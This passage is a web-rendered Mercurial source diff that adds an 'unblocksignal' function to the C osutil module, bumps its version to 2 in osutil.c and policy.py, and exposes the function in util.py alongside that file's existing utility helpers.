1314 | {"unblocksignal", (PyCFunction)unblocksignal, METH_VARARGS, | |
|
1315 | "change signal mask to unblock a given signal\n"}, | |
|
1294 | 1316 | #endif /* ndef _WIN32 */ |
|
1295 | 1317 | #ifdef __APPLE__ |
|
1296 | 1318 | { |
|
1297 | 1319 | "isgui", (PyCFunction)isgui, METH_NOARGS, |
|
1298 | 1320 | "Is a CoreGraphics session available?" |
|
1299 | 1321 | }, |
|
1300 | 1322 | #endif |
|
1301 | 1323 | {NULL, NULL} |
|
1302 | 1324 | }; |
|
1303 | 1325 | |
|
1304 |
static const int version = |
|
|
1326 | static const int version = 2; | |
|
1305 | 1327 | |
|
1306 | 1328 | #ifdef IS_PY3K |
|
1307 | 1329 | static struct PyModuleDef osutil_module = { |
|
1308 | 1330 | PyModuleDef_HEAD_INIT, |
|
1309 | 1331 | "osutil", |
|
1310 | 1332 | osutil_doc, |
|
1311 | 1333 | -1, |
|
1312 | 1334 | methods |
|
1313 | 1335 | }; |
|
1314 | 1336 | |
|
1315 | 1337 | PyMODINIT_FUNC PyInit_osutil(void) |
|
1316 | 1338 | { |
|
1317 | 1339 | PyObject *m; |
|
1318 | 1340 | if (PyType_Ready(&listdir_stat_type) < 0) |
|
1319 | 1341 | return NULL; |
|
1320 | 1342 | |
|
1321 | 1343 | m = PyModule_Create(&osutil_module); |
|
1322 | 1344 | PyModule_AddIntConstant(m, "version", version); |
|
1323 | 1345 | return m; |
|
1324 | 1346 | } |
|
1325 | 1347 | #else |
|
1326 | 1348 | PyMODINIT_FUNC initosutil(void) |
|
1327 | 1349 | { |
|
1328 | 1350 | PyObject *m; |
|
1329 | 1351 | if (PyType_Ready(&listdir_stat_type) == -1) |
|
1330 | 1352 | return; |
|
1331 | 1353 | |
|
1332 | 1354 | m = Py_InitModule3("osutil", methods, osutil_doc); |
|
1333 | 1355 | PyModule_AddIntConstant(m, "version", version); |
|
1334 | 1356 | } |
|
1335 | 1357 | #endif |
@@ -1,116 +1,116 b'' | |||
|
1 | 1 | # policy.py - module policy logic for Mercurial. |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2015 Gregory Szorc <gregory.szorc@gmail.com> |
|
4 | 4 | # |
|
5 | 5 | # This software may be used and distributed according to the terms of the |
|
6 | 6 | # GNU General Public License version 2 or any later version. |
|
7 | 7 | |
|
8 | 8 | from __future__ import absolute_import |
|
9 | 9 | |
|
10 | 10 | import os |
|
11 | 11 | import sys |
|
12 | 12 | |
|
13 | 13 | # Rules for how modules can be loaded. Values are: |
|
14 | 14 | # |
|
15 | 15 | # c - require C extensions |
|
16 | 16 | # allow - allow pure Python implementation when C loading fails |
|
17 | 17 | # cffi - required cffi versions (implemented within pure module) |
|
18 | 18 | # cffi-allow - allow pure Python implementation if cffi version is missing |
|
19 | 19 | # py - only load pure Python modules |
|
20 | 20 | # |
|
21 | 21 | # By default, fall back to the pure modules so the in-place build can |
|
22 | 22 | # run without recompiling the C extensions. This will be overridden by |
|
23 | 23 | # __modulepolicy__ generated by setup.py. |
|
24 | 24 | policy = b'allow' |
|
25 | 25 | _packageprefs = { |
|
26 | 26 | # policy: (versioned package, pure package) |
|
27 | 27 | b'c': (r'cext', None), |
|
28 | 28 | b'allow': (r'cext', r'pure'), |
|
29 | 29 | b'cffi': (r'cffi', None), |
|
30 | 30 | b'cffi-allow': (r'cffi', r'pure'), |
|
31 | 31 | b'py': (None, r'pure'), |
|
32 | 32 | } |
|
33 | 33 | |
|
34 | 34 | try: |
|
35 | 35 | from . import __modulepolicy__ |
|
36 | 36 | policy = __modulepolicy__.modulepolicy |
|
37 | 37 | except ImportError: |
|
38 | 38 | pass |
|
39 | 39 | |
|
40 | 40 | # PyPy doesn't load C extensions. |
|
41 | 41 | # |
|
42 | 42 | # The canonical way to do this is to test platform.python_implementation(). |
|
43 | 43 | # But we don't import platform and don't bloat for it here. |
|
44 | 44 | if r'__pypy__' in sys.builtin_module_names: |
|
45 | 45 | policy = b'cffi' |
|
46 | 46 | |
|
47 | 47 | # Our C extensions aren't yet compatible with Python 3. So use pure Python |
|
48 | 48 | # on Python 3 for now. |
|
49 | 49 | if sys.version_info[0] >= 3: |
|
50 | 50 | policy = b'py' |
|
51 | 51 | |
|
52 | 52 | # Environment variable can always force settings. |
|
53 | 53 | if sys.version_info[0] >= 3: |
|
54 | 54 | if r'HGMODULEPOLICY' in os.environ: |
|
55 | 55 | policy = os.environ[r'HGMODULEPOLICY'].encode(r'utf-8') |
|
56 | 56 | else: |
|
57 | 57 | policy = os.environ.get(r'HGMODULEPOLICY', policy) |
|
58 | 58 | |
|
59 | 59 | def _importfrom(pkgname, modname): |
|
60 | 60 | # from .<pkgname> import <modname> (where . is looked through this module) |
|
61 | 61 | fakelocals = {} |
|
62 | 62 | pkg = __import__(pkgname, globals(), fakelocals, [modname], level=1) |
|
63 | 63 | try: |
|
64 | 64 | fakelocals[modname] = mod = getattr(pkg, modname) |
|
65 | 65 | except AttributeError: |
|
66 | 66 | raise ImportError(r'cannot import name %s' % modname) |
|
67 | 67 | # force import; fakelocals[modname] may be replaced with the real module |
|
68 | 68 | getattr(mod, r'__doc__', None) |
|
69 | 69 | return fakelocals[modname] |
|
70 | 70 | |
|
71 | 71 | # keep in sync with "version" in C modules |
|
72 | 72 | _cextversions = { |
|
73 | 73 | (r'cext', r'base85'): 1, |
|
74 | 74 | (r'cext', r'bdiff'): 1, |
|
75 | 75 | (r'cext', r'diffhelpers'): 1, |
|
76 | 76 | (r'cext', r'mpatch'): 1, |
|
77 |
(r'cext', r'osutil'): |
|
|
77 | (r'cext', r'osutil'): 2, | |
|
78 | 78 | (r'cext', r'parsers'): 4, |
|
79 | 79 | } |
|
80 | 80 | |
|
81 | 81 | # map import request to other package or module |
|
82 | 82 | _modredirects = { |
|
83 | 83 | (r'cext', r'charencode'): (r'cext', r'parsers'), |
|
84 | 84 | (r'cffi', r'base85'): (r'pure', r'base85'), |
|
85 | 85 | (r'cffi', r'charencode'): (r'pure', r'charencode'), |
|
86 | 86 | (r'cffi', r'diffhelpers'): (r'pure', r'diffhelpers'), |
|
87 | 87 | (r'cffi', r'parsers'): (r'pure', r'parsers'), |
|
88 | 88 | } |
|
89 | 89 | |
|
90 | 90 | def _checkmod(pkgname, modname, mod): |
|
91 | 91 | expected = _cextversions.get((pkgname, modname)) |
|
92 | 92 | actual = getattr(mod, r'version', None) |
|
93 | 93 | if actual != expected: |
|
94 | 94 | raise ImportError(r'cannot import module %s.%s ' |
|
95 | 95 | r'(expected version: %d, actual: %r)' |
|
96 | 96 | % (pkgname, modname, expected, actual)) |
|
97 | 97 | |
|
98 | 98 | def importmod(modname): |
|
99 | 99 | """Import module according to policy and check API version""" |
|
100 | 100 | try: |
|
101 | 101 | verpkg, purepkg = _packageprefs[policy] |
|
102 | 102 | except KeyError: |
|
103 | 103 | raise ImportError(r'invalid HGMODULEPOLICY %r' % policy) |
|
104 | 104 | assert verpkg or purepkg |
|
105 | 105 | if verpkg: |
|
106 | 106 | pn, mn = _modredirects.get((verpkg, modname), (verpkg, modname)) |
|
107 | 107 | try: |
|
108 | 108 | mod = _importfrom(pn, mn) |
|
109 | 109 | if pn == verpkg: |
|
110 | 110 | _checkmod(pn, mn, mod) |
|
111 | 111 | return mod |
|
112 | 112 | except ImportError: |
|
113 | 113 | if not purepkg: |
|
114 | 114 | raise |
|
115 | 115 | pn, mn = _modredirects.get((purepkg, modname), (purepkg, modname)) |
|
116 | 116 | return _importfrom(pn, mn) |
@@ -1,3866 +1,3870 b'' | |||
|
1 | 1 | # util.py - Mercurial utility functions and platform specific implementations |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
|
4 | 4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
5 | 5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
|
6 | 6 | # |
|
7 | 7 | # This software may be used and distributed according to the terms of the |
|
8 | 8 | # GNU General Public License version 2 or any later version. |
|
9 | 9 | |
|
10 | 10 | """Mercurial utility functions and platform specific implementations. |
|
11 | 11 | |
|
12 | 12 | This contains helper routines that are independent of the SCM core and |
|
13 | 13 | hide platform-specific details from the core. |
|
14 | 14 | """ |
|
15 | 15 | |
|
16 | 16 | from __future__ import absolute_import, print_function |
|
17 | 17 | |
|
18 | 18 | import abc |
|
19 | 19 | import bz2 |
|
20 | 20 | import calendar |
|
21 | 21 | import codecs |
|
22 | 22 | import collections |
|
23 | 23 | import contextlib |
|
24 | 24 | import datetime |
|
25 | 25 | import errno |
|
26 | 26 | import gc |
|
27 | 27 | import hashlib |
|
28 | 28 | import imp |
|
29 | 29 | import itertools |
|
30 | 30 | import mmap |
|
31 | 31 | import os |
|
32 | 32 | import platform as pyplatform |
|
33 | 33 | import re as remod |
|
34 | 34 | import shutil |
|
35 | 35 | import signal |
|
36 | 36 | import socket |
|
37 | 37 | import stat |
|
38 | 38 | import string |
|
39 | 39 | import subprocess |
|
40 | 40 | import sys |
|
41 | 41 | import tempfile |
|
42 | 42 | import textwrap |
|
43 | 43 | import time |
|
44 | 44 | import traceback |
|
45 | 45 | import warnings |
|
46 | 46 | import zlib |
|
47 | 47 | |
|
48 | 48 | from . import ( |
|
49 | 49 | encoding, |
|
50 | 50 | error, |
|
51 | 51 | i18n, |
|
52 | 52 | policy, |
|
53 | 53 | pycompat, |
|
54 | 54 | urllibcompat, |
|
55 | 55 | ) |
|
56 | 56 | |
|
57 | 57 | base85 = policy.importmod(r'base85') |
|
58 | 58 | osutil = policy.importmod(r'osutil') |
|
59 | 59 | parsers = policy.importmod(r'parsers') |
|
60 | 60 | |
|
61 | 61 | b85decode = base85.b85decode |
|
62 | 62 | b85encode = base85.b85encode |
|
63 | 63 | |
|
64 | 64 | cookielib = pycompat.cookielib |
|
65 | 65 | empty = pycompat.empty |
|
66 | 66 | httplib = pycompat.httplib |
|
67 | 67 | pickle = pycompat.pickle |
|
68 | 68 | queue = pycompat.queue |
|
69 | 69 | socketserver = pycompat.socketserver |
|
70 | 70 | stderr = pycompat.stderr |
|
71 | 71 | stdin = pycompat.stdin |
|
72 | 72 | stdout = pycompat.stdout |
|
73 | 73 | stringio = pycompat.stringio |
|
74 | 74 | xmlrpclib = pycompat.xmlrpclib |
|
75 | 75 | |
|
76 | 76 | httpserver = urllibcompat.httpserver |
|
77 | 77 | urlerr = urllibcompat.urlerr |
|
78 | 78 | urlreq = urllibcompat.urlreq |
|
79 | 79 | |
|
80 | 80 | # workaround for win32mbcs |
|
81 | 81 | _filenamebytestr = pycompat.bytestr |
|
82 | 82 | |
|
83 | 83 | def isatty(fp): |
|
84 | 84 | try: |
|
85 | 85 | return fp.isatty() |
|
86 | 86 | except AttributeError: |
|
87 | 87 | return False |
|
88 | 88 | |
|
89 | 89 | # glibc determines buffering on first write to stdout - if we replace a TTY |
|
90 | 90 | # destined stdout with a pipe destined stdout (e.g. pager), we want line |
|
91 | 91 | # buffering |
|
92 | 92 | if isatty(stdout): |
|
93 | 93 | stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1) |
|
94 | 94 | |
|
95 | 95 | if pycompat.iswindows: |
|
96 | 96 | from . import windows as platform |
|
97 | 97 | stdout = platform.winstdout(stdout) |
|
98 | 98 | else: |
|
99 | 99 | from . import posix as platform |
|
100 | 100 | |
|
101 | 101 | _ = i18n._ |
|
102 | 102 | |
|
103 | 103 | bindunixsocket = platform.bindunixsocket |
|
104 | 104 | cachestat = platform.cachestat |
|
105 | 105 | checkexec = platform.checkexec |
|
106 | 106 | checklink = platform.checklink |
|
107 | 107 | copymode = platform.copymode |
|
108 | 108 | executablepath = platform.executablepath |
|
109 | 109 | expandglobs = platform.expandglobs |
|
110 | 110 | explainexit = platform.explainexit |
|
111 | 111 | findexe = platform.findexe |
|
112 | 112 | gethgcmd = platform.gethgcmd |
|
113 | 113 | getuser = platform.getuser |
|
114 | 114 | getpid = os.getpid |
|
115 | 115 | groupmembers = platform.groupmembers |
|
116 | 116 | groupname = platform.groupname |
|
117 | 117 | hidewindow = platform.hidewindow |
|
118 | 118 | isexec = platform.isexec |
|
119 | 119 | isowner = platform.isowner |
|
120 | 120 | listdir = osutil.listdir |
|
121 | 121 | localpath = platform.localpath |
|
122 | 122 | lookupreg = platform.lookupreg |
|
123 | 123 | makedir = platform.makedir |
|
124 | 124 | nlinks = platform.nlinks |
|
125 | 125 | normpath = platform.normpath |
|
126 | 126 | normcase = platform.normcase |
|
127 | 127 | normcasespec = platform.normcasespec |
|
128 | 128 | normcasefallback = platform.normcasefallback |
|
129 | 129 | openhardlinks = platform.openhardlinks |
|
130 | 130 | oslink = platform.oslink |
|
131 | 131 | parsepatchoutput = platform.parsepatchoutput |
|
132 | 132 | pconvert = platform.pconvert |
|
133 | 133 | poll = platform.poll |
|
134 | 134 | popen = platform.popen |
|
135 | 135 | posixfile = platform.posixfile |
|
136 | 136 | quotecommand = platform.quotecommand |
|
137 | 137 | readpipe = platform.readpipe |
|
138 | 138 | rename = platform.rename |
|
139 | 139 | removedirs = platform.removedirs |
|
140 | 140 | samedevice = platform.samedevice |
|
141 | 141 | samefile = platform.samefile |
|
142 | 142 | samestat = platform.samestat |
|
143 | 143 | setbinary = platform.setbinary |
|
144 | 144 | setflags = platform.setflags |
|
145 | 145 | setsignalhandler = platform.setsignalhandler |
|
146 | 146 | shellquote = platform.shellquote |
|
147 | 147 | spawndetached = platform.spawndetached |
|
148 | 148 | split = platform.split |
|
149 | 149 | sshargs = platform.sshargs |
|
150 | 150 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
|
151 | 151 | statisexec = platform.statisexec |
|
152 | 152 | statislink = platform.statislink |
|
153 | 153 | testpid = platform.testpid |
|
154 | 154 | umask = platform.umask |
|
155 | 155 | unlink = platform.unlink |
|
156 | 156 | username = platform.username |
|
157 | 157 | |
|
158 | 158 | try: |
|
159 | 159 | recvfds = osutil.recvfds |
|
160 | 160 | except AttributeError: |
|
161 | 161 | pass |
|
162 | 162 | try: |
|
163 | 163 | setprocname = osutil.setprocname |
|
164 | 164 | except AttributeError: |
|
165 | 165 | pass |
|
166 | try: | |
|
167 | unblocksignal = osutil.unblocksignal | |
|
168 | except AttributeError: | |
|
169 | pass | |
|
166 | 170 | |
|
167 | 171 | # Python compatibility |
|
168 | 172 | |
|
169 | 173 | _notset = object() |
|
170 | 174 | |
|
171 | 175 | # disable Python's problematic floating point timestamps (issue4836) |
|
172 | 176 | # (Python hypocritically says you shouldn't change this behavior in |
|
173 | 177 | # libraries, and sure enough Mercurial is not a library.) |
|
174 | 178 | os.stat_float_times(False) |
|
175 | 179 | |
|
176 | 180 | def safehasattr(thing, attr): |
|
177 | 181 | return getattr(thing, attr, _notset) is not _notset |
|
178 | 182 | |
|
179 | 183 | def bytesinput(fin, fout, *args, **kwargs): |
|
180 | 184 | sin, sout = sys.stdin, sys.stdout |
|
181 | 185 | try: |
|
182 | 186 | sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout) |
|
183 | 187 | return encoding.strtolocal(pycompat.rawinput(*args, **kwargs)) |
|
184 | 188 | finally: |
|
185 | 189 | sys.stdin, sys.stdout = sin, sout |
|
186 | 190 | |
|
187 | 191 | def bitsfrom(container): |
|
188 | 192 | bits = 0 |
|
189 | 193 | for bit in container: |
|
190 | 194 | bits |= bit |
|
191 | 195 | return bits |
|
192 | 196 | |
|
193 | 197 | # python 2.6 still have deprecation warning enabled by default. We do not want |
|
194 | 198 | # to display anything to standard user so detect if we are running test and |
|
195 | 199 | # only use python deprecation warning in this case. |
|
196 | 200 | _dowarn = bool(encoding.environ.get('HGEMITWARNINGS')) |
|
197 | 201 | if _dowarn: |
|
198 | 202 | # explicitly unfilter our warning for python 2.7 |
|
199 | 203 | # |
|
200 | 204 | # The option of setting PYTHONWARNINGS in the test runner was investigated. |
|
201 | 205 | # However, module name set through PYTHONWARNINGS was exactly matched, so |
|
202 | 206 | # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
|
203 | 207 | # makes the whole PYTHONWARNINGS thing useless for our usecase. |
|
204 | 208 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') |
|
205 | 209 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') |
|
206 | 210 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') |
|
207 | 211 | |
|
208 | 212 | def nouideprecwarn(msg, version, stacklevel=1): |
|
209 | 213 | """Issue an python native deprecation warning |
|
210 | 214 | |
|
211 | 215 | This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
|
212 | 216 | """ |
|
213 | 217 | if _dowarn: |
|
214 | 218 | msg += ("\n(compatibility will be dropped after Mercurial-%s," |
|
215 | 219 | " update your code.)") % version |
|
216 | 220 | warnings.warn(msg, DeprecationWarning, stacklevel + 1) |
|
217 | 221 | |
|
218 | 222 | DIGESTS = { |
|
219 | 223 | 'md5': hashlib.md5, |
|
220 | 224 | 'sha1': hashlib.sha1, |
|
221 | 225 | 'sha512': hashlib.sha512, |
|
222 | 226 | } |
|
223 | 227 | # List of digest types from strongest to weakest |
|
224 | 228 | DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5'] |
|
225 | 229 | |
|
226 | 230 | for k in DIGESTS_BY_STRENGTH: |
|
227 | 231 | assert k in DIGESTS |
|
228 | 232 | |
|
229 | 233 | class digester(object): |
|
230 | 234 | """helper to compute digests. |
|
231 | 235 | |
|
232 | 236 | This helper can be used to compute one or more digests given their name. |
|
233 | 237 | |
|
234 | 238 | >>> d = digester([b'md5', b'sha1']) |
|
235 | 239 | >>> d.update(b'foo') |
|
236 | 240 | >>> [k for k in sorted(d)] |
|
237 | 241 | ['md5', 'sha1'] |
|
238 | 242 | >>> d[b'md5'] |
|
239 | 243 | 'acbd18db4cc2f85cedef654fccc4a4d8' |
|
240 | 244 | >>> d[b'sha1'] |
|
241 | 245 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
|
242 | 246 | >>> digester.preferred([b'md5', b'sha1']) |
|
243 | 247 | 'sha1' |
|
244 | 248 | """ |
|
245 | 249 | |
|
246 | 250 | def __init__(self, digests, s=''): |
|
247 | 251 | self._hashes = {} |
|
248 | 252 | for k in digests: |
|
249 | 253 | if k not in DIGESTS: |
|
250 | 254 | raise Abort(_('unknown digest type: %s') % k) |
|
251 | 255 | self._hashes[k] = DIGESTS[k]() |
|
252 | 256 | if s: |
|
253 | 257 | self.update(s) |
|
254 | 258 | |
|
255 | 259 | def update(self, data): |
|
256 | 260 | for h in self._hashes.values(): |
|
257 | 261 | h.update(data) |
|
258 | 262 | |
|
259 | 263 | def __getitem__(self, key): |
|
260 | 264 | if key not in DIGESTS: |
|
261 | 265 | raise Abort(_('unknown digest type: %s') % k) |
|
262 | 266 | return self._hashes[key].hexdigest() |
|
263 | 267 | |
|
264 | 268 | def __iter__(self): |
|
265 | 269 | return iter(self._hashes) |
|
266 | 270 | |
|
267 | 271 | @staticmethod |
|
268 | 272 | def preferred(supported): |
|
269 | 273 | """returns the strongest digest type in both supported and DIGESTS.""" |
|
270 | 274 | |
|
271 | 275 | for k in DIGESTS_BY_STRENGTH: |
|
272 | 276 | if k in supported: |
|
273 | 277 | return k |
|
274 | 278 | return None |
|
275 | 279 | |
|
276 | 280 | class digestchecker(object): |
|
277 | 281 | """file handle wrapper that additionally checks content against a given |
|
278 | 282 | size and digests. |
|
279 | 283 | |
|
280 | 284 | d = digestchecker(fh, size, {'md5': '...'}) |
|
281 | 285 | |
|
282 | 286 | When multiple digests are given, all of them are validated. |
|
283 | 287 | """ |
|
284 | 288 | |
|
285 | 289 | def __init__(self, fh, size, digests): |
|
286 | 290 | self._fh = fh |
|
287 | 291 | self._size = size |
|
288 | 292 | self._got = 0 |
|
289 | 293 | self._digests = dict(digests) |
|
290 | 294 | self._digester = digester(self._digests.keys()) |
|
291 | 295 | |
|
292 | 296 | def read(self, length=-1): |
|
293 | 297 | content = self._fh.read(length) |
|
294 | 298 | self._digester.update(content) |
|
295 | 299 | self._got += len(content) |
|
296 | 300 | return content |
|
297 | 301 | |
|
298 | 302 | def validate(self): |
|
299 | 303 | if self._size != self._got: |
|
300 | 304 | raise Abort(_('size mismatch: expected %d, got %d') % |
|
301 | 305 | (self._size, self._got)) |
|
302 | 306 | for k, v in self._digests.items(): |
|
303 | 307 | if v != self._digester[k]: |
|
304 | 308 | # i18n: first parameter is a digest name |
|
305 | 309 | raise Abort(_('%s mismatch: expected %s, got %s') % |
|
306 | 310 | (k, v, self._digester[k])) |
|
307 | 311 | |
|
308 | 312 | try: |
|
309 | 313 | buffer = buffer |
|
310 | 314 | except NameError: |
|
311 | 315 | def buffer(sliceable, offset=0, length=None): |
|
312 | 316 | if length is not None: |
|
313 | 317 | return memoryview(sliceable)[offset:offset + length] |
|
314 | 318 | return memoryview(sliceable)[offset:] |
|
315 | 319 | |
|
316 | 320 | closefds = pycompat.isposix |
|
317 | 321 | |
|
318 | 322 | _chunksize = 4096 |
|
319 | 323 | |
|
320 | 324 | class bufferedinputpipe(object): |
|
321 | 325 | """a manually buffered input pipe |
|
322 | 326 | |
|
323 | 327 | Python will not let us use buffered IO and lazy reading with 'polling' at |
|
324 | 328 | the same time. We cannot probe the buffer state and select will not detect |
|
325 | 329 | that data are ready to read if they are already buffered. |
|
326 | 330 | |
|
327 | 331 | This class let us work around that by implementing its own buffering |
|
328 | 332 | (allowing efficient readline) while offering a way to know if the buffer is |
|
329 | 333 | empty from the output (allowing collaboration of the buffer with polling). |
|
330 | 334 | |
|
331 | 335 | This class lives in the 'util' module because it makes use of the 'os' |
|
332 | 336 | module from the python stdlib. |
|
333 | 337 | """ |
|
334 | 338 | |
|
335 | 339 | def __init__(self, input): |
|
336 | 340 | self._input = input |
|
337 | 341 | self._buffer = [] |
|
338 | 342 | self._eof = False |
|
339 | 343 | self._lenbuf = 0 |
|
340 | 344 | |
|
341 | 345 | @property |
|
342 | 346 | def hasbuffer(self): |
|
343 | 347 | """True is any data is currently buffered |
|
344 | 348 | |
|
345 | 349 | This will be used externally a pre-step for polling IO. If there is |
|
346 | 350 | already data then no polling should be set in place.""" |
|
347 | 351 | return bool(self._buffer) |
|
348 | 352 | |
|
349 | 353 | @property |
|
350 | 354 | def closed(self): |
|
351 | 355 | return self._input.closed |
|
352 | 356 | |
|
353 | 357 | def fileno(self): |
|
354 | 358 | return self._input.fileno() |
|
355 | 359 | |
|
356 | 360 | def close(self): |
|
357 | 361 | return self._input.close() |
|
358 | 362 | |
|
359 | 363 | def read(self, size): |
|
360 | 364 | while (not self._eof) and (self._lenbuf < size): |
|
361 | 365 | self._fillbuffer() |
|
362 | 366 | return self._frombuffer(size) |
|
363 | 367 | |
|
364 | 368 | def readline(self, *args, **kwargs): |
|
365 | 369 | if 1 < len(self._buffer): |
|
366 | 370 | # this should not happen because both read and readline end with a |
|
367 | 371 | # _frombuffer call that collapse it. |
|
368 | 372 | self._buffer = [''.join(self._buffer)] |
|
369 | 373 | self._lenbuf = len(self._buffer[0]) |
|
370 | 374 | lfi = -1 |
|
371 | 375 | if self._buffer: |
|
372 | 376 | lfi = self._buffer[-1].find('\n') |
|
373 | 377 | while (not self._eof) and lfi < 0: |
|
374 | 378 | self._fillbuffer() |
|
375 | 379 | if self._buffer: |
|
376 | 380 | lfi = self._buffer[-1].find('\n') |
|
377 | 381 | size = lfi + 1 |
|
378 | 382 | if lfi < 0: # end of file |
|
379 | 383 | size = self._lenbuf |
|
380 | 384 | elif 1 < len(self._buffer): |
|
381 | 385 | # we need to take previous chunks into account |
|
382 | 386 | size += self._lenbuf - len(self._buffer[-1]) |
|
383 | 387 | return self._frombuffer(size) |
|
384 | 388 | |
|
385 | 389 | def _frombuffer(self, size): |
|
386 | 390 | """return at most 'size' data from the buffer |
|
387 | 391 | |
|
388 | 392 | The data are removed from the buffer.""" |
|
389 | 393 | if size == 0 or not self._buffer: |
|
390 | 394 | return '' |
|
391 | 395 | buf = self._buffer[0] |
|
392 | 396 | if 1 < len(self._buffer): |
|
393 | 397 | buf = ''.join(self._buffer) |
|
394 | 398 | |
|
395 | 399 | data = buf[:size] |
|
396 | 400 | buf = buf[len(data):] |
|
397 | 401 | if buf: |
|
398 | 402 | self._buffer = [buf] |
|
399 | 403 | self._lenbuf = len(buf) |
|
400 | 404 | else: |
|
401 | 405 | self._buffer = [] |
|
402 | 406 | self._lenbuf = 0 |
|
403 | 407 | return data |
|
404 | 408 | |
|
405 | 409 | def _fillbuffer(self): |
|
406 | 410 | """read data to the buffer""" |
|
407 | 411 | data = os.read(self._input.fileno(), _chunksize) |
|
408 | 412 | if not data: |
|
409 | 413 | self._eof = True |
|
410 | 414 | else: |
|
411 | 415 | self._lenbuf += len(data) |
|
412 | 416 | self._buffer.append(data) |
|
413 | 417 | |
|
414 | 418 | def mmapread(fp): |
|
415 | 419 | try: |
|
416 | 420 | fd = getattr(fp, 'fileno', lambda: fp)() |
|
417 | 421 | return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
|
418 | 422 | except ValueError: |
|
419 | 423 | # Empty files cannot be mmapped, but mmapread should still work. Check |
|
420 | 424 | # if the file is empty, and if so, return an empty buffer. |
|
421 | 425 | if os.fstat(fd).st_size == 0: |
|
422 | 426 | return '' |
|
423 | 427 | raise |
|
424 | 428 | |
|
425 | 429 | def popen2(cmd, env=None, newlines=False): |
|
426 | 430 | # Setting bufsize to -1 lets the system decide the buffer size. |
|
427 | 431 | # The default for bufsize is 0, meaning unbuffered. This leads to |
|
428 | 432 | # poor performance on Mac OS X: http://bugs.python.org/issue4194 |
|
429 | 433 | p = subprocess.Popen(cmd, shell=True, bufsize=-1, |
|
430 | 434 | close_fds=closefds, |
|
431 | 435 | stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
|
432 | 436 | universal_newlines=newlines, |
|
433 | 437 | env=env) |
|
434 | 438 | return p.stdin, p.stdout |
|
435 | 439 | |
|
436 | 440 | def popen3(cmd, env=None, newlines=False): |
|
437 | 441 | stdin, stdout, stderr, p = popen4(cmd, env, newlines) |
|
438 | 442 | return stdin, stdout, stderr |
|
439 | 443 | |
|
440 | 444 | def popen4(cmd, env=None, newlines=False, bufsize=-1): |
|
441 | 445 | p = subprocess.Popen(cmd, shell=True, bufsize=bufsize, |
|
442 | 446 | close_fds=closefds, |
|
443 | 447 | stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
|
444 | 448 | stderr=subprocess.PIPE, |
|
445 | 449 | universal_newlines=newlines, |
|
446 | 450 | env=env) |
|
447 | 451 | return p.stdin, p.stdout, p.stderr, p |
|
448 | 452 | |
|
449 | 453 | def version(): |
|
450 | 454 | """Return version information if available.""" |
|
451 | 455 | try: |
|
452 | 456 | from . import __version__ |
|
453 | 457 | return __version__.version |
|
454 | 458 | except ImportError: |
|
455 | 459 | return 'unknown' |
|
456 | 460 | |
|
457 | 461 | def versiontuple(v=None, n=4): |
|
458 | 462 | """Parses a Mercurial version string into an N-tuple. |
|
459 | 463 | |
|
460 | 464 | The version string to be parsed is specified with the ``v`` argument. |
|
461 | 465 | If it isn't defined, the current Mercurial version string will be parsed. |
|
462 | 466 | |
|
463 | 467 | ``n`` can be 2, 3, or 4. Here is how some version strings map to |
|
464 | 468 | returned values: |
|
465 | 469 | |
|
466 | 470 | >>> v = b'3.6.1+190-df9b73d2d444' |
|
467 | 471 | >>> versiontuple(v, 2) |
|
468 | 472 | (3, 6) |
|
469 | 473 | >>> versiontuple(v, 3) |
|
470 | 474 | (3, 6, 1) |
|
471 | 475 | >>> versiontuple(v, 4) |
|
472 | 476 | (3, 6, 1, '190-df9b73d2d444') |
|
473 | 477 | |
|
474 | 478 | >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
|
475 | 479 | (3, 6, 1, '190-df9b73d2d444+20151118') |
|
476 | 480 | |
|
477 | 481 | >>> v = b'3.6' |
|
478 | 482 | >>> versiontuple(v, 2) |
|
479 | 483 | (3, 6) |
|
480 | 484 | >>> versiontuple(v, 3) |
|
481 | 485 | (3, 6, None) |
|
482 | 486 | >>> versiontuple(v, 4) |
|
483 | 487 | (3, 6, None, None) |
|
484 | 488 | |
|
485 | 489 | >>> v = b'3.9-rc' |
|
486 | 490 | >>> versiontuple(v, 2) |
|
487 | 491 | (3, 9) |
|
488 | 492 | >>> versiontuple(v, 3) |
|
489 | 493 | (3, 9, None) |
|
490 | 494 | >>> versiontuple(v, 4) |
|
491 | 495 | (3, 9, None, 'rc') |
|
492 | 496 | |
|
493 | 497 | >>> v = b'3.9-rc+2-02a8fea4289b' |
|
494 | 498 | >>> versiontuple(v, 2) |
|
495 | 499 | (3, 9) |
|
496 | 500 | >>> versiontuple(v, 3) |
|
497 | 501 | (3, 9, None) |
|
498 | 502 | >>> versiontuple(v, 4) |
|
499 | 503 | (3, 9, None, 'rc+2-02a8fea4289b') |
|
500 | 504 | """ |
|
501 | 505 | if not v: |
|
502 | 506 | v = version() |
|
503 | 507 | parts = remod.split('[\+-]', v, 1) |
|
504 | 508 | if len(parts) == 1: |
|
505 | 509 | vparts, extra = parts[0], None |
|
506 | 510 | else: |
|
507 | 511 | vparts, extra = parts |
|
508 | 512 | |
|
509 | 513 | vints = [] |
|
510 | 514 | for i in vparts.split('.'): |
|
511 | 515 | try: |
|
512 | 516 | vints.append(int(i)) |
|
513 | 517 | except ValueError: |
|
514 | 518 | break |
|
515 | 519 | # (3, 6) -> (3, 6, None) |
|
516 | 520 | while len(vints) < 3: |
|
517 | 521 | vints.append(None) |
|
518 | 522 | |
|
519 | 523 | if n == 2: |
|
520 | 524 | return (vints[0], vints[1]) |
|
